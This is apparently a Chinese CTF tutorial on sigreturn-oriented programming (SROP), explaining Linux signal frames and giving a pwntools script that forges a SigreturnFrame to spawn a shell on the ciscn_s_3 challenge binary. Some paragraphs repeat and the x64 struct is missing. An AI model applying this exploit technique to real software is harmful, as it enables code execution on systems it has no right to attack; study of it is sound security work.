signal 机制
signal 机制是类 unix 系统中进程之间相互传递信息的一种方法。一般,我们也称其为软中断信号,或者软中断。比如说,进程之间可以通过系统调用 kill 来发送软中断信号。一般来说,信号机制常见的步骤如下图所示:
- 内核向某个进程发送 signal 机制,该进程会被暂时挂起,进入内核态。
- 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
对于 signal Frame 来说,会因为架构的不同而有所区别,这里给出分别给出 x86 以及 x64 的 sigcontext1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26// x86
struct sigcontext
{
unsigned short gs, __gsh;
unsigned short fs, __fsh;
unsigned short es, __esh;
unsigned short ds, __dsh;
unsigned long edi;
unsigned long esi;
unsigned long ebp;
unsigned long esp;
unsigned long ebx;
unsigned long edx;
unsigned long ecx;
unsigned long eax;
unsigned long trapno;
unsigned long err;
unsigned long eip;
unsigned short cs, __csh;
unsigned long eflags;
unsigned long esp_at_signal;
unsigned short ss, __ssh;
struct _fpstate * fpstate;
unsigned long oldmask;
unsigned long cr2;
};
- 内核会为该进程保存相应的上下文,主要是将所有寄存器压入栈中,以及压入 signal 信息,以及指向 sigreturn 的系统调用地址。此时栈的结构如下图所示,我们称 ucontext 以及 siginfo 这一段为 Signal Frame。需要注意的是,这一部分是在用户进程的地址空间的。之后会跳转到注册过的 signal handler 中处理相应的 signal。因此,当 signal handler 执行完之后,就会执行 sigreturn 代码。
1 | // x64 |
- signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。
攻击原理
1
2
3仔细回顾一下内核在 signal 信号处理的过程中的工作,我们可以发现,内核主要做的工作就是为进程保存上下文,并且恢复上下文。这个主要的变动都在 Signal Frame 中。但是需要注意的是:
Signal Frame 被保存在用户的地址空间中,所以用户是可以读写的。
由于内核与信号处理程序无关 (kernel agnostic about signal handlers),它并不会去记录这个 signal 对应的 Signal Frame,所以当执行 sigreturn 系统调用时,此时的 Signal Frame 并不一定是之前内核为用户进程保存的 Signal Frame。
- signal handler 返回后,内核为执行 sigreturn 系统调用,为该进程恢复之前保存的上下文,其中包括将所有压入的寄存器,重新 pop 回对应的寄存器,最后恢复进程的执行。其中,32 位的 sigreturn 的调用号为 77,64 位的系统调用号为 15。
人话:
简单来说, SROP就是可以更改所有寄存器的值.
我们是这样利用的, 利用syscall, 调用sigreturn, 然后再下面伪造一个Signal Frame, 这样就可以把寄存器的值调整为我们想要的值.
system call chains
需要指出的是,上面的例子中,我们只是单独的获得一个 shell。有时候,我们可能会希望执行一系列的函数。我们只需要做两处修改即可
- 控制栈指针。
- 把原来 rip 指向的syscall gadget 换成syscall; ret gadget。
pwntools 利用
以buuoj ciscn_s_3 为例1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22.text:00000000004004ED ; __unwind {
.text:00000000004004ED push rbp
.text:00000000004004EE mov rbp, rsp
.text:00000000004004F1 xor rax, rax
.text:00000000004004F4 mov edx, 400h ; count
.text:00000000004004F9 lea rsi, [rsp+buf] ; buf
.text:00000000004004FE mov rdi, rax ; fd
.text:0000000000400501 syscall ; LINUX - sys_read
.text:0000000000400503 mov rax, 1
.text:000000000040050A mov edx, 30h ; count
.text:000000000040050F lea rsi, [rsp+buf] ; buf
.text:0000000000400514 mov rdi, rax ; fd
.text:0000000000400517 syscall ; LINUX - sys_write
.text:0000000000400519 retn
.text:0000000000400519 vuln endp ; sp-analysis failed
.text:0000000000400519
.text:0000000000400519 ; ---------------------------------------------------------------------------
.text:000000000040051A db 90h
.text:000000000040051B ; ---------------------------------------------------------------------------
.text:000000000040051B pop rbp
.text:000000000040051C retn
.text:000000000040051C ; } // starts at 4004ED
1 | .text:00000000004004D6 ; __unwind { |
我们看到有 mov rax 0Fh, 利用sigreturn, 然后构造出来伪造的Signal Frame.
pwntools中有SigreturnFrame()
这里用的时候需要先把context.arch设置一下.
一般来说x64是’amd64’, x86是’i386’
剩下的对照代码应该都可以看懂.
可以把这个sigreturn看做类似retn的东西
retn是改了rip一个
但是sigreturn比较牛逼, 改了好多寄存器.1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28from pwn import *
from LibcSearcher import *
sh = process('./pwn')
# context.log_level = 'debug'
context.arch = 'amd64'
# gdb.attach(sh)
start_addr = 0x4003E0
syscall_ret = 0x400517
payload = '/bin/sh\x00' * 2 + p64(start_addr)
sh.sendline(payload)
stack_addr = u64(sh.recv(0x30)[0x20:0x26].ljust(8, '\x00')) - 504
bin_sh_addr = stack_addr - 0x10
sigframe = SigreturnFrame()
sigframe.rax = constants.SYS_execve
sigframe.rdi = bin_sh_addr
sigframe.rsi = 0
sigframe.rdx = 0
sigframe.rip = syscall_ret
payload = '/bin/sh\x00' * 2 + p64(0x4004DA) + p64(syscall_ret) + str(sigframe)
sh.sendline(payload)
sh.interactive()